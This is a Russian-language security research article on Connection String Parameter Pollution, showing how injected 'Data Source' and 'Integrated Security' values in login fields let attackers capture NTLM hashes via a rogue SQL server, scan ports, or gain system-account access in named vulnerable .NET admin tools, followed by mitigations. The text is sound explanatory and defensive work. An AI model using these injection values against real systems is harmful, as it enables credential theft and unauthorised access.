Атаки с изменением параметров строки соединения


Внедрение SQL-кода, вероятно, наиболее известный тип атаки веб-приложений, нарушающий структуру их баз данных. На данный момент изучено множество различных подходов и способов взлома, и полученные результаты говорят о том, что для успешного отражения таких атак разработчики должны продумывать систему фильтрации входной информации.

 1  Введение

Внедрение SQL-кода, вероятно, наиболее известный тип атаки веб-приложений, нарушающий структуру их баз данных. На данный момент изучено множество различных подходов и способов взлома, и полученные результаты говорят о том, что для успешного отражения таких атак разработчики должны продумывать систему фильтрации входной информации.
Что касается атаки, описанной в данном документе, ответственность лежит не только на разработчиках, но также и на системных администраторах и поставщиках баз данных. Эта атака направлена на веб-приложения, но вместо использования уязвимостей в реализации путём составления определенных запросов к БД, что наиболее часто встречается в других подобных атаках, она изменяет способ подключения приложения к БД.
Согласно OWASP [1], в 2007 году атаки с помощью внедрения кода находились на 2-ом месте в рейтинге 10-ти самых опасных атак на системы безопасности, уступая лишь XSS-атакам. Первая версия этого рейтинга за 2010 год подняла атаки с использованием внедрения кода на первое место. На самом деле, наиболее успешными являются атаки, совмещающие XSS для доступа к системе и внедрение кода для доступа к информации. Такая совмещенная атака носит название «Изменение параметров строки соединения». Потенциальная опасность данного типа атаки и полное отсутствие информации о нём явились причиной глубокого анализа, направленного на выявление направлений использования таких атак.

Данный документ состоит из трех основных разделов. Первый раздел - краткое вступление, в котором рассказывается о том, что такое строки соединения и о существующих способах реализации авторизации в веб-приложениях. Во втором разделе представлен всесторонний анализ нового способа атаки, с большим количеством тестовых примеров. А в последнем разделе кратко подводятся итоги.

1.1 Строки соединения

Строки соединения [2] используются приложениями для связи с БД. Синтаксис таких строк зависит от СУБД, к которой происходит подключение, и от провайдера или драйвера, используемого программистом для установления соединения.
Так или иначе, программист должен указать сервер и порт для соединения, имя базы данных, сведения для авторизации, а также некоторые дополнительные параметры соединения, такие как время ожидания, альтернативные БД, протокол связи или параметры шифрования.
Данный пример представляет собой строку соединения для связи с БД
Microsoft SQL Server:

"Data Source=Server,Port- Network Library=DBMSSOCN- Initial Catalog=DataBase- User ID=Username- Password=pwd-"

Как видно из примера, строка соединения - это набор параметров, разделенных точкой с запятой (-), каждый из которых является парой «ключ-значение». Атрибуты, использованные в примере, соответствуют атрибутам из ".NET Framework Data Provider для SQL-сервера", который программисты выбирают при работе с классом "SqlConnection" в приложениях .NET. Очевидно, что соединиться с SQL-сервером можно и с помощью других провайдеров, например:
-         ".NET Framework Data Provider для OLE DB" (класс OleDbConnection)
-         ".NET Framework Data Provider для ODBC" (класс OdbcConnection)
-         "SQL Native Client 9.0 OLE DB provider"
Наиболее простой и рекомендуемый способ соединения приложения .NET и SQL-сервера - использование провайдера по умолчанию, синтаксис строк в котором одинаков для всех версий SQL-сервера (7, 2000, 2005 и 2008). В примерах, содержащихся в данной статье, используется провайдер по умолчанию.

1.2 Использование возможностей СУБД для авторизации веб-приложений

Существует два способа создания системы авторизации для веб-приложения: написать свою, или использовать возможности СУБД. В большинстве случаев разработчик приложения позволяет лишь одному пользователю соединяться с БД. База данных принимает такого пользователя за полноценное веб-приложение. Используя это соединение, приложение будет посылать запросы к таблице, в которой хранятся права доступа данного пользователя.


Рис. 1. Общая схема авторизации веб-приложений

Веб-приложение определяется отдельным пользователем БД, имеющим доступ ко всей информации приложения, хранящейся в БД. То есть, в БД невозможно создать зернистую систему прав доступа к различным объектам или отследить действия всех пользователей приложения, поэтому данные задачи возлагаются на само приложение. Если злоумышленнику удастся использовать уязвимость в приложении и получить доступ к БД, то ему станет доступна вся информация, хранящаяся в ней. Это наиболее общая (и простая) схема, используемая во множестве CMS, таких как Joomla, Mambo и многих других. Чаще всего целью злоумышленников являются учетные данные из таблицы пользователей в БД.

Альтернатива заключается в передаче процедуры авторизации СУБД, чтобы строки соединения не содержали постоянный набор данных, а получали бы параметры, введенные пользователем, и СУБД затем проверяла бы их.
Приложения для управления БД всегда используют возможности СУБД для авторизации, чтобы пользователь, соединяющийся с приложением, имел возможность выполнять лишь те действия, на которые у него есть разрешения. Используя такую схему, становится возможным применить зернистую систему прав доступа и отслеживать действия пользователя.


Рис. 2. Веб-приложение использует возможности СУБД для авторизации.

У каждого метода свои преимущества и недостатки, помимо уже оговоренных, рассмотрение которых не входит в план данной статьи. Описанные здесь способы будут относиться ко второму методу: использованию возможностей СУБД для авторизации.

2 Внедрение в строку соединения

При использовании возможностей СУБД для авторизации, внедрение в строку соединения позволяет злоумышленнику вносить в неё новые параметры, добавляя их после точки с запятой (-).
В примере, где пользователь должен был ввести имя и пароль для генерации строки соединения,  злоумышленник может отключить систему шифрования,  введя пароль типа "pwd- Encryption=off", в результате чего строка соединения будет выглядеть так:

"Data Source=Server,Port- Network Library=DBMSSOCN- Initial Catalog=DataBase- User ID=Username- Password=pwd- Encryption=off"

После формирования строки соединения, значение параметра Encryptionдобавляется к уже существующему набору параметров.

2.1  Формирование строк соединения в .NET

Опасаясь подобного использования [3] строк соединения, Microsoft во второй версии .NET Framework добавила классы "ConnectionStringBuilder" [4]. Они были нацелены на формирование безопасных строк соединения посредством базового класса (DbConnectionStringBuilder), либо посредством специальных классов различных провайдеров (SqlConnectionStringBuilder, OleDbConnectionStringBuilder, и т.п…). И поставленная цель была достигнута, во-первых, представлением атрибутов в виде пары «ключ-значение», а во-вторых, избеганием попыток внедрения кода.
Использование данных классов для формирования строк соединения может предотвратить внедрение кода. Тем не менее, лишь некоторые разработчики используют эту возможность в своих приложениях.

2.2  Изменение параметров строки соединения

Способы изменения параметров используются для замещения их значений. Такие способы хорошо известны в среде HTTP [5], но их также возможно применять и в других ситуациях. В данном примере мы будем подменять параметры строки соединения, что позволит провести несколько атак.

2.3  Атаки с помощью изменения параметров строки соединения (или атаки CSPP, Connection String Parameter Pollution)

В качестве примера для иллюстрации таких атак, возьмем веб-приложение, в котором необходимые имя пользователя [User_Value] и пароль [Password_Value] хранятся на сервере службы Microsoft Internet Information Services, работающем под управлением ОС Microsoft Windows Server. Учетные данные пользователя приложения будут использоваться для формирования строки соединения с базой данных Microsoft SQL Server:

Data source = SQL2005- initial catalog = db1- integrated security=no- user id=+’User_Value’+- Password=+’Password_Value’+-
Данная строка соединения показывает, как приложение связывается с СУБД Microsoft SQL Server. Зная это, злоумышленник может предпринять атаку CSPP. Идея подобной атаки состоит в добавлении параметра с желаемым значением к строке, при этом неважно, какое именно значение записывается и находится ли уже данный параметр в строке. Компонент, с помощью которого приложения .NET формируют строку соединения, будет использовать значение последнего вхождения параметра в строку. Если в строке встречается два параметра с ключом "Data Source", рабочее значение будет получено из последней пары, что даёт нам следующие направления атак CSPP.

2.3.1  Атака CSPP, вариант 1: кража хеш-данных

Злоумышленник может поднять подключенный к интернету фальшивый Microsoft SQL Server, также используя программу для слежения за учетными данными, т.н. сниффер (В данном примере была использована утилита CAIN [6]). Атака CSPP будет выглядеть следующим образом:

User_Value:   - Data Source = Rogue_Server

Password_Value: - Integrated Security = true
Что даёт нам вот такую строку соединения:

Data source = SQL2005- initial catalog = db1- integrated security=no- user id=-Data Source=Rogue Server- Password=- Integrated Security=true-
Значения параметров "Data Source" и "Integrated Security" были подменены, таким образом, «родные» драйверы Microsoft SQL Server будут использовать последние значения, игнорируя предыдущие, и приложение будет пытаться соединиться с фальшивым сервером, имеющим права доступа пользователя Windows, который может быть пользователем системы или  пользователем пула приложений.

2.3.1.1  Пример 1: ASP.NETEnterpriseManager
Это устаревшая и неподдерживаемая программа с открытым исходным кодом, хотя ее до сих пор используют некоторые хостинговые и другие компании для управления базами данных Microsoft SQL Server через веб-интерфейс. Официальный сайт данной программы aspnetenterprisemanager.com уже не работает, но её можно скачать с других порталов, например SourceForge [7] или MyOpenSource [8]. Эту утилиту рекомендуют в качестве отличной ASP.NET- альтернативы PHPMyAdmin [9], несмотря на то, что последняя версия датирована 3-им января 2003 года.


Рис. 3. Изменение параметров строки соединения в ASP.NET Enterprise Manager для кражи учетной записи

Данные сохраняются на фальшивом сервере с установленным сниффером, который предоставляет доступ к LM-хешу учетной записи.


Рис. 4. Хранимый на фальшивом сервере хеш, полученный с помощью утилиты Cain

2.3.2  Атака CSPP, вариант 2:  Сканирование портов

Одним из необходимых параметров строки соединения является номер порта. Злоумышленник может заставить уязвимое приложение выполнять сканирование серверов, пытаясь соединиться с различными портами, и будет видеть сообщения об ошибках:

User_Value:    - Data Source =Target_Server, Target_Port

Password_Value:   - Integrated Security = true
В результате данной атаки получим такую строку соединения:

Data source = SQL2005- initial catalog = db1- integrated security=no- user id=-Data Source=Target Server, Target Port- Password=- Integrated Security=true-
В данной строке значение первого параметра с ключом "Data Source" будет проигнорировано, а вместо него будет использовано значение последнего параметра с таким ключом, то есть приложение будет пытаться соединиться с портом "Target Port" на сервере "Target Server". Наблюдая за различиями в получаемых сообщениях об ошибках, становится возможным выполнить сканирование портов.

2.3.2.1  Пример 2: myLittleAdminи myLittleBackup
Утилиты myLittleAdmin [10] и myLittleBackup [11] являются коммерческими, а разработала их компания myLittleTools [12]. Они были уязвимы к атакам CSPP вплоть до версий myLittleAdmin 3.5 и myLittleBackup 1.6.


Рис. 5. Попытка соединения с www.gooogle.com через 80-й порт.

Как видно из рис. 5, при прослушивании открытого порта мы получаем сообщение о том, что Microsoft SQL Server его не прослушивает, но соединение по протоколу TCP было установлено.


Рис. 6. Невозможно установить соединение с www.google.com через XX порт.

TCP-соединение не удастся установить, если порт закрыт, следовательно и сообщение об ошибке будет иным. Используя эти сообщения, можно провести сканирование TCP-портов сервера. Данный способ, естественно, можно использовать для поиска серверов внутри демилитаризованной зоны, в которой размещено приложение.

2.3.3  Атака CSPP, вариант 3: Кража веб-учетных данных

В данном случае злоумышленник пытается соединиться с базой данных, используя системную учетную запись веб-приложения вместо учетных данных, введенных пользователем:

User_Value:   - Data Source =Target_Server

Password_Value: - Integrated Security = true
Внедрение этих значений даст нам такую строку соединения:

Data source = SQL2005- initial catalog = db1- integrated security=no- user id=-Data Source=Target Server, Target Port- Password=- Integrated Security=true-

Как мы видим, значение параметра "Integrated security" было изменено на "True". Это значит, что система будет пытаться соединиться с базой данных, используя системную учетную запись приложения. В данном случае системная учетная запись использовалась веб-приложением на сервере.

2.3.3.1  Пример 3: SQL Server Web Data Administrator
Этот проект изначально разрабатывался Microsoft, а затем он стал бесплатным, причем с открытым исходным кодом. На сегодняшний день вы все еще можете скачать последнюю выпущенную Microsoft версию 2004 года с серверов корпорации [13], но самая последняя версия, увидевшая свет в 2007 году, размещена на сайте Codeplex [14]. Codeplex-версия программы устойчива к атакам такого типа, поскольку в ней используются классы ConnectionStringBuilder для динамического формирования строк соединения.
Однако, версия, размещенная на сайте Microsoft, уязвима к атакам CSPP. Ниже показан способ получения доступа к системе с использованием атак данного типа.


Рис. 7.Использование учетных данных в WEB Data Administrator

Значение поля «Пароль» на рис. 7 равно: "- integratedSecurity=true", о чем говорилось выше.


Рис. 8. Консольный доступ к серверной учетной записи

Злоумышленник может авторизоваться в приложении и управлять всей системой. Это происходит потому, что все пользователи и сетевые службы имеют доступ к серверу, что можно видеть на рис. 9.


Рис. 9. Доступ к системной учетной записи.

2.3.3.2  Пример 4: myLittleAdminи myLittleBackup
В программах mylittleAdmin и myLittlebackup имеется возможность проверить строку соединения, используемую для получения доступа. В ней четко видны внедренные параметры, с помощью которых возможно получить доступ к системе.


Рис. 10. Атака CSPP в программе myLittleAdmin.

Из рисунка 10 видно, что параметр "Data Source" со значением localhost был вставлен после параметра "User ID". Этот параметр, "Data Source", также стоит на первом месте в строке соединения. У них разные значения, но используется последнее, то есть то, которое мы добавили.
Та же ситуация наблюдается и с параметром "Integrated Security", первоначальное значение которого равно no, но его замещает значение yes, внедренное посредством поля «Пароль», что даёт полный доступ к серверу, при этом веб-приложение работает с системной учетной записью.


Рис. 11. Запросы к главной таблице системных пользователей.

2.3.3.3  Пример 5: ASP.NET Enterprise Manager

Такую же атаку можно выполнить и с помощью последней публичной версии программы ASP.NET Enterprise manager, и, как мы видим на рисунке ниже, злоумышленник может подменить параметры строки соединения для получения доступа к веб-приложению.


Рис. 12. Атака CSPP с помощью формы ввода учетных данных в ASP.NET Enterprise Manager.

В результате этого можно получить полный доступ к базе данных, что видно из рисунка ниже.


Рис. 13. Консоль управления в ASP.NET Enterprise Manager.

3  Выводы

Все приведенные примеры говорят о необходимости фильтрации вводимых пользователем данных. Более того, из данных примеров становится ясно, что необходимо всегда обновлять используемое программное обеспечение.  Microsoft  выпустила  ConnectionStringbuilder в попытке избежать атак такого типа, но данный компонент безопасности используется не во всех приложениях.

Такие атаки также применимы и к другим СУБД, например Oracle, которые позволяют администраторам установить встроенную безопасность (Integrated Security) в своих БД. Кроме того, с помощью строк соединения Oracle возможно изменить способ подключения пользователей, используя сессию sysdba.
Базы данных MySQL не позволяют администраторам управлять процессом авторизации встроенной безопасности. Однако, все равно имеется возможность внедрения кода и изменения строк соединения в попытке соединиться с внутренними серверами,  невидимыми из интернета.
Чтобы предотвратить такие атаки, необходимо фильтровать все параметры, и настроить межсетевой экран таким образом, чтобы он отслеживал не только входящие, но и исходящие соединения с внешних серверов, которые отсылают в интернет учетные данные NTLM. Также администраторы баз данных должны установить режим доступа с минимальными правами.

Ссылки

1.  The Open Web Application Security Project, http://www.owasp.org
2.  Connection Strings.com: http://www.connectionstrings.com
3.  Ryan,  W.:  Using  the  SqlConnectionStringBuilder to  guard  against  Connection  String
Injection Attacks, http://msmvps.com/blogs/williamryan/archive/2006/01/15/81115.aspx
4.  Connection String Builder (ADO.NET), http://msdn.microsoft.com/en-us/library/ms254947.aspx
5.  Carettoni L., di Paola S.: HTTP Parameter Pollution,
http://www.owasp.org//images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
6.  Cain: http://www.oxid.it/cain.html
7.  ASP.NET Enterprise Manager in SourceForge, http://sourceforge.net/projects/asp-ent-man/
8.  ASP.NET Enterprise Manager in MyOpenSource:
http://www.myopensource.org/internet/asp.net+enterprise+manager/download-review
9.  PHPMyAdmin: http://www.phpmyadmin.net/
10. myLittleAdmin: http://www.mylittleadmin.com
11. myLittleBackup: http://www.mylittlebackup.com
12. myLittleTools: http://www.mylittletools.net
13. Microsoft SQL Server Web Data Administrator:
http://www.microsoft.com/downloads/details.aspx?FamilyID=c039a798-c57a-419e-acbc-
2a332cb7f959&displaylang=en
14. Microsoft SQL Server Web Data Administrator in Codeplex project:
http://www.codeplex.com/SqlWebAdmin